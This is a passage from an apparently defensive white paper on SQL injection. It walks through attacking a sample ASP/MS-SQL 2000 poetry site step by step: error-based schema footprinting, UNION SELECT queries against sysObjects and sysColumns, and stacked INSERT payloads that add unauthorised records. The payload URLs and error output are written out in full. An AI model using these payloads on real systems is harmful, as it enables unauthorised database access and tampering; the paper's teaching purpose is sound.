By Stuart McDonald
Abstract
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This paper will look at a selection of the methods available to a SQL injection attacker and how they are best defended against.
Introduction
It’s drilled into a programmer from “Programming 101”: The importance of input validation and ensuring that the data a user sends you is the data you want, not some poisoned lump of characters that's going to break your site and/or lose you your job.
As valuable as it may be to ensure your users are crossing their t’s and dotting their i’s, there's a more important reason for this validation and that centres around the principle of SQL injection.
When I first stumbled across an SQL injection paper, I gave it a cursory read and then tried a couple of the attacks against a test backend version of a site I was then looking after. Within six hours I had almost totally destroyed the site – and that was without using the more advanced tools available.
SQL injection is not a “dark art”, nor is it new. Numerous white papers and other references are available on the internet (see references), some of which are over a year old. Yet many sites play the roles of the lowest apples in the tree by being completely vulnerable to this form of attack.
As SQL injection how-tos, attacker awareness and now even automated tools such as wpoison that check for SQL injection vulnerabilities become more prevalent, these 'low apples' will be harvested at increasing rates.
Summary
This paper consists of five sections.
Part One – Injection principles: Yes, it really is this easy
Contains a detailed look at the basics of SQL injection. This will walk you through the anatomy of an attack. It is only by knowing exactly how an attacker will use SQL injection that you will be in a better position to protect your site.
Part Two – Advanced injection: Sprocs and the leverage of your position
Looks at some of the more advanced methods of SQL injection which can result in system compromise. This describes the use of stored procedures and extended stored procedures that come pre-installed on a MS-SQL 2000 set-up. It is Microsoft specific.
Part Three – Protection: How many walls to build around your site
Describes methods for the developer to protect their site and system from these kind of attacks.
Part Four – Conclusion: See, it does matter
Summarises why the threat of SQL injection is so serious.
Part Five – References: The information is out there
Contains a detailed listing of references and additional reading.
Conventions
In order to reduce the number of screen shots required in this paper, much of the screen output is colour-coded and is one point smaller instead.
All URL’s are blue.
All code snippets are red.
All error messages are green.
Although the examples used are specific to MS-SQL 2000 it should be noted that SQL injection is not an issue isolated to MS-SQL 2000 alone.
In part one a cut down version of a poetry site is for illustrative purposes. The poetry snippets have been altered where needed and are used with permission.
Part One – Injection principles: Yes, it really is this easy
SQL injection is one type of web hacking that requires nothing but port 80 and it might just work even if the admin is patch-happy." (AntiCrack. 27 May 2002).
" SQL injection is usually caused by developers who use 'string-building' techniques in order to execute SQL code." (SQL Injection FAQ)
The principle of basic SQL injection is to take advantage of insecure code on a system connected to the internet in order to pass commands directly to a database and to then take advantage of a poorly secured system to leverage an attacker's access.
Most other papers concerned with SQL injection use the example of either a login or search dialogue that is used to gain unauthorised access to the server. To avoid repeating what can be studied in other papers, I will instead look at SQL injection via the querystring, where the goal is to add general data to the database rather than to add a member to a users table. The attack I discuss uses the same principles as those in other papers, particularly the SPI Dynamics and NGSSoftware papers, but differs in its execution.
The sample site in the following examples makes use of a MS-SQL 2000 database to serve poems presented at poetry readings. The table lay-up is basic but the real world example is considerably more complicated. Two tables, titled author and story, respectively contain the poets’ names, nationality and age, and the poem specifics: title, blurb, poem and aID.
The site lists individual poems and the goal is to add an unauthorised poem and an unauthorised author to the database.
Hacking the querystring
A typical URL to read a poem is as follows:
http://stuart/homebase/practical/index.asp?story=1
When you visit the above URL you are greeted with a page title (Welcome to Bangkok’s Worst Poetry.com), the title of the poem ( The Mating of the Mongolian Butterfly ), the name (Stuart), nationality (Australian) and age (32) of the poet and a snippet from their poem (Par for the course…).
From this you can infer that the 1 in the querystring is some kind of reference to the actual poem. So, break off the querystring and you get the following:
Story=1
Change the value of Story to 4 and then reload the page with the URL:
http://stuart/homebase/practical/index.asp?story=4
We now have Cheese by Savage Henry, even though it was never called via a link for this particular poem.
Next, look at the VB Script code used to create the above (the connection portion of the script is omitted for brevity).
<%
storyID=request("story")
StrSql0="SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID="&storyID&" AND a.aID=s.aID"
Rs0.Open StrSql0,oConn
%>
The variable we have been playing with – that is, the story value -- is being passed with no input validation straight to the SQL query, which is then retrieving the data. This shows we could put anything in there as the value for storyID and it would be passed to the SQL statement. We could send commands to the database that the developer never intended
This is the principle behind SQL injection.
Breaking the querystring
There are two straightforward ways to break a URL. Firstly, you can try adding some SQL to the URL, as in the following:
http://stuart/homebase/practical/index.asp?story=3 AND someothercolumn=3
In our example this results in the following error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'someothercolumn'.
/homebase/practical/index.asp, line 33
This establishes that SQL injection is possible as we changed the SQL statement from:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND someothercolumn=3 AND a.aID=s.aID
The column "someothercolumn" does not exist, so we get an SQL error.
The second way to break a page is with an apostrophe:
http://stuart/homebase/practical/index.asp?story=3'
The above results in the following server error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The script has choked because we inserted an apostrophe after the 3, which breaks the SQL statement. By inserting the quotation mark, the SQL statement passed to the server was altered from:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
to
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3' AND a.aID=s.aID
The single quotation mark causes an unclosed quotation mark error.
This is a little unusual as normally an integer would not be quoted in an SQL statement. Another example better illustrates the use of a quote: Imagine a summary page that lists poets by nationality. In this case a correct URL may be in the form:
http://stuart/homebase/practical/index_country.asp?country=laos
and the corresponding SQL would be:
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='laos'
Note the value laos is quoted because it is a string, so when we alter the URL again, adding a quotation mark in laos, this quotation mark goes into the SQL and breaks it, as follows:
http://stuart/homebase/practical/index_country.asp?country=la'os
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='la'os'
This SQL statement will crash because of the unclosed quotation mark.
Generally an attacker will need to use a quotation mark to break the SQL, though if the site is particularly poorly coded then they may just be able to add SQL in as in the first example.
Database foot printing
To be successful, an attacker will first need to map out the tables on the database, a process called database foot printing . As Beth Breidenbach states: "'Footprinting,' or identifying the configuration of the server is one of the first steps in deciding how to attack a site." (Breidenbach. 2002)
The method chosen to do this will depend on how poorly configured the server is. The most reliable method, shown here, is also the slowest. Other methods are covered in Part Two, where the use of stored procedures and extended stored procedures to extract the data are discussed.
To reliably footprint a database, the SQL statement must be broken, which will cause an error from which a plan of the database can be inferred.
A lot can be learned from error messages: they’re very handy when developing but are also very useful for attacking.
Look at the error message we got above when we added a quotation mark:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
The important part of this error is the part “AND a.aID=s.aID”. This tells an attacker both that there are at least two tables being used to generate this page (note the a. and s. – these are aliases for tables), and that these two tables are related via the field aID.
If an attacker was to look at this in the context of the poetry site, they could use their commonsense and guess that an aID refers to an author ID and the a and s may refer to author and story (though p for poem would be even easier to guess). But not even that much guessing is necessary, as eventually error messages will reveal almost everything.
An important point to note is that the snippet returned in the error message (AND a.aID=s.aID) does not reveal the actual table names. This is good practise from a developer’s perspective. When you use aliases, do not use the full table name as you are giving away your information cheaply. More on this is covered in Part Three.
An attacker must now find out what other fields are in the tables. For this they can use the SQL syntax GROUP BY or HAVING. For example:
http://stuart/homebase/practical/index.asp?story=3%20HAVING%201=1--
The apostrophe is removed as it is not necessary for this portion of the exercise to work. The %20 refers to a space, but what is important is the double dash at the end -- this is the equivalent of a comment and comments out whatever SQL may be appended to the line. The SQL becomes:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 HAVING 1=1-- AND a.aID=s.aID
The -- syntax then comments out the ending part of the SQL statement. This is very important as without the ability to do this (ie, if the -- is cut out via input validation) SQL injection becomes far more difficult.
This will create a new error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.sID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/homebase/practical/index.asp, line 20
An attacker has been advised by the error that there is a column called s.sID.
This error has arisen because if you are going to use HAVING, you must also use a GROUP BY, which groups all the fields. Now the attacker must iterate through the fields until they no longer get an error. The next example shows how this is done:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID%20having%201=1--
The attacker has now taken the s.sID field given to them and inserted it into the URL, which produces the next error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Now they have determined the next column name, s.title, which they add to and then repeat the process:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.blurb' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Which then gives them s.blurb and so on. This can get tedious if the table happens to have many columns.
Assume the full table has been deduced, we have the following querystring:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,s.blurb,
s.story%20having%201=1--
This gives us the following:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'a.aName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
Note the error has switched to the next table, the one with the nickname a.
When the attacker has inserted all the values into the URL the following is created:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,
s.blurb,s.story,a.aName,a.aNationality,a.aAge%20having%201=1--
This URL delivers the attacker an error free screen and a poem titled King of the Soi by Chanet.
To summarise, the attacker so far has learned:
1. Two tables are used in this page and their nicknames are ‘a’ and ‘s’.
2. They contain at least the following fields (they may have other fields that are not used for this screen):
a. a: aID (they got this one in the very start), aName,aNationality,aAge
b. s: sID,aID (ditto), title,blurb,story
3. A relationship exists between the two tables over the aID field.
The next challenge is to determine the table names so a record may be inserted.
To establish table names, the system table that comes as a part of MS-SQL 2000, called the sysObjects table, is used. The sysObjects table contains information on all the tables within the database being used.
The method used to tackle this depends on how the information is being displayed. In this case, the poem is being pulled from the database and displayed on the screen, so an attacker needs to append a query to this statement using UNION SELECT, but they have to make sure that the original SELECT returns nothing and that the information from their appending query is returned instead.
Here is the original and correct statement:
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=3 AND a.aID=s.aID
To get the table name from the SysObjects table one would normally use the following:
SELECT name FROM sysObjects WHERE xtype='U'
(The U designates a user-defined table)
To combine these the story value is assigned a high number so it will not return a valid poem, and then the other statement is added on with UNION. Note that this won’t work unless both statements have the same number of fields. The attacker has already established how many columns are in the first table, so now they add digits into the second to make them even, as follows:
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=999 AND a.aID=s.aID UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype='U'
This translates into the following URL:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%
201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype='U'--
The page that results has the text "author" (circled in red) where we expected to see the poet's age, and the other fields are filled with the numbers one through six instead of valid information.
A couple of points:
a) 1,2,3,4,5,6,name are used arbitrarily to fill the fields with junk data. Only the last field, name, is important.
b) Occasionally an error will say the wrong data type has been used. In such cases, the field generating the error must be determined and switched to something quoted eg ‘one’
c) ‘name’ is used because it is the value being sought. In the sysObjects table the column ‘name’ contains the table names.
d) A double dash must be added at the end to comment the remainder of the original statement.
The attacker now has the name of one of the tables – author. Now they get the other one.
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,name%20FROM%20sysObjects%20WHERE%20(xtype='U'%20AND%20(name<>'author'%20))--
They now have two tables, author and story, with at least the following properties:
a.author: aID, aName,aNationality,aAge
s.story: sID,aID, title,blurb,story
Checking cannot be overdone in SQL injection. Here, it is necessary to check that these are the complete lists of columns in each of the tables. The SysObjects table can also be used for that, but instead of calling the column ‘name’ they call the column 'info', which contains the number of columns in a given table.
The syntax is as follows:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4
,5,6,info%20FROM%20sysObjects%20WHERE%20(name='author')--
This returns 4 – so our author table is complete. But when story is run:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,info%20FROM%20sysObjects%20WHERE%20(name=’story')--
This returns 6, a problem as we have only determined 5 of the columns.
The best way to find out the name of the remaining column is to again make use of the SysObjects table, but in conjunction with the SysColumns table as follows:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,5,6,sys
Columns.name%20FROM%20sysObjects,sysColumns%20WHERE%20(sysObjects.id=sysColumns.id AND sysObjects.name='story' AND sysColumns.name not like 'sID' AND sysColumns.name not like 'aID' AND sysColumns.name not like 'title' AND sysColumns.name not like 'blurb' AND sysColumns.name not like 'story')--
Which returns ‘storydate’ and then completes the table.
The last thing needing to be done before publishing a tome of poetry is to check on the type of each column. Strictly speaking in this example it is not necessary, but just to be thorough this is how it is done:
http://stuart/homebase/practical/index.asp?story=334%20union%20select%20sum(aID)%20from%20author--
Determining the column type again comes down to reading error messages, iterating through each column and running a SUM on it. If the field is numeric the following error (off the above URL) appears:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/homebase/practical/index.asp, line 20
However if the field is a text field this error is generated:
http://stuart/homebase/practical/index.asp?story=334%20union
%20select%20sum(aName)%20from%20author--
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/homebase/practical/index.asp, line 20
By running through this process, the following is known:
a.author: aID(int), aName(varchar),aNationality(varchar),aAge(varchar)
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
Adding unauthorised data
With the information garnered in the database foot printing section, it is now possible to inject a valid INSERT statement to the database.
First the attacker needs to enter the poet name (author), for instance as follows:
INSERT INTO author VALUES (‘Dante’,’Italian’,’89’)
http://stuart/homebase/practical/index.asp?story=999;INSERT%20INTO%20author%20
VALUES%20('Dante','Italian','89')--
No error message appears, the record appears to have been entered correctly. However, the aID, which needs to be entered into the story table remains unknown.
To obtain this, it’s necessary to run another query:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,aID%20FROM%20author%20WHERE%20(aName='Dante')--
Which returns 10 – the aID for Dante.
The last step is to insert the poem into the story table.
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
Taking a guess at the INSERT statement, produces something like this:
INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy,<br>It makes my mouth burn’)
Which gives us the following URL:
http://stuart/homebase/practical/index.asp?story=999; INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy,<br>It makes my mouth burn’,’2000/12/12’)--
When this returns no error, it is still necessary to establish the ID of the story, which is done similarly to establishing the author ID. In this case it is 9.
http://stuart/homebase/practical/index.asp?story=9